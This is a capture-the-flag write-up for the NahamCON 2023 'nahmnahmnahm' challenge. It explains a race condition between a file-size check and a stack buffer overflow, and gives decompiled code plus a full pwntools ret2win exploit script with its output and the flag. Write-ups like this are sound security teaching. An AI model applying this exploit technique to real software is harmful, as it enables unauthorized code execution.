NahamCON CTF 2023: nahmnahmnahm

Me hungry for files!

TL;DR

Upload an empty file to circumvent file size restriction (enforced only on the first phase). Right before execution is resumed, overwrite the file with ret2win payload by abusing Race Condition.

Basic File Checks

Nahmnahmnahm is a simple file reader that takes in a file path as input and print out it's content.

┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm]
└─$ ./nahmnahmnahm
Enter file: ./test
Press enter to continue:
test

To prevent quick wins, the binary will verify if the user-input contains the keyword flag before proceeding with printing the file content.

┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm]
└─$ ./nahmnahmnahm 
Enter file: ./flag.txt
filename contains flag: Success

Checking the binary protection shows nothing significant other than NX is enabled. Could this possibly be hinting that we need to write our payload into a file and execute it using the binary's read functionality to bypass NX?

┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm]
└─$ checksec --file=nahmnahmnahm 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   86 Symbols        No    0               3               nahmnahmnahm

Static Code Analysis

There are several other functions besides main(), so we'll be going through them one at a time.

In the main() function, the program will ask for a filename. The filename can’t contain the keyword flag in it. Then, the program will perform some checks to verify if the file is a symbolic link file, and if the size of the file is greater than or lesser than 80 bytes. If all the above conditions are met, it will pass the filename to vuln() function as its argument.

int main(int argc,char **argv)

{
  size_t sVar1;
  char *pcVar2;
  stat st;
  char filename [128];
  char *strstrret;
  int retval;
  
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  filename._0_8_ = 0;
  filename._8_8_ = 0;
  filename._16_8_ = 0;
  filename._24_8_ = 0;
  filename._32_8_ = 0;
  filename._40_8_ = 0;
  filename._48_8_ = 0;
  filename._56_8_ = 0;
  filename._64_8_ = 0;
  filename._72_8_ = 0;
  filename._80_8_ = 0;
  filename._88_8_ = 0;
  filename._96_8_ = 0;
  filename._104_8_ = 0;
  filename._112_8_ = 0;
  filename._120_8_ = 0;
  printf("Enter file: ");
  fgets(filename,0x7f,stdin);
  sVar1 = strcspn(filename,"\n");
  filename[sVar1] = '\0';
  pcVar2 = strstr(filename,"flag");
  if (pcVar2 == (char *)0x0) {
    retval = lstat(filename,(stat *)&st);
    if (retval == -1) {
      perror("stat");
    }
    else if ((st.st_mode & 0xf000) == 0xa000) {
      perror("is_symlink");
      retval = -1;
    }
    else if (st.st_size < 0x51) {
      puts("Press enter to continue:");
      getchar();
      vuln(filename);
    }
    else {
      perror("File size");
      retval = -1;
    }
  }
  else {
    perror("filename contains flag");
    retval = -1;
  }
  return retval;
}

In the vuln() function, the program reads the content of the file in the variable filename using the fopen(), with a maximum data reading size of 4096 bytes (0x1000). Then, stores it in the variable buf, which can only hold data up to 80 bytes. This causes a buffer overflow vulnerability that can be exploited to call the winning_function() to achieve ret2win.

void vuln(char *filename)

{
  FILE *__stream;
  char buffer [80];
  FILE *f;
  
  __stream = fopen(filename,"r");
  if (__stream == (FILE *)0x0) {
    perror("fopen");
  }
  else {
    fread(buffer,1,0x1000,__stream);
    printf("%s",buffer);
  }
  return;
}

void winning_function(void)

{
  FILE *__stream;
  char contents [256];
  FILE *f;
  
  puts("Welcome to the winning function!");
  __stream = fopen("flag","r");
  fread(contents,1,0x100,__stream);
  puts(contents);
  fclose(__stream);
  return;
}

Race Condition

In essence, the programs only perform a one-time check in the main() function before pausing the program execution with a getc() function that waits for the user to enter any character. This introduces another exploitable loophole known as Race Condition.

The plan is to create an empty file and input the name of the file as our input and wait for the program to enter an idle state, before writing our ROP/ret2win payload into the file. When the program execution resumes, it will call the vuln() function, and leads us to winning_function() because of the buffer overflow vulnerabilities.

Think of this like Command Line Spoofing, where a process is first created in a suspended state with benign command line arguments. Right after the verification/logging procedure is over, the arguments can then be overwritten with any malicious inputs.

ret2win

solve.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

elf = ELF('./nahmnahmnahm')
rop = ROP(elf)

p = elf.process()

payload = b"A"
f = open("./payload", "wb")
f.write(payload)
f.close() 

p.sendlineafter(b": ", b"./payload")

payload = b"A" * 104
payload += p64(elf.symbols["winning_function"])
payload += p64((rop.find_gadget(['ret']))[0])

f = open("./payload", "wb")
f.write(payload)
f.close() 

p.sendlineafter(b"Press enter to continue:", b"A")
p.interactive()
┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm]
└─$ ./solve.py 
[*] '/home/kali/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm/nahmnahmnahm'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './nahmnahmnahm'
[+] Starting local process '/home/kali/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm/nahmnahmnahm': pid 3244
[*] Switching to interactive mode

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x12@Welcome to the winning function!
flag{d41d8cd98f00b204e9800998ecf8427e}

Flag: flag{d41d8cd98f00b204e9800998ecf8427e}

Last updated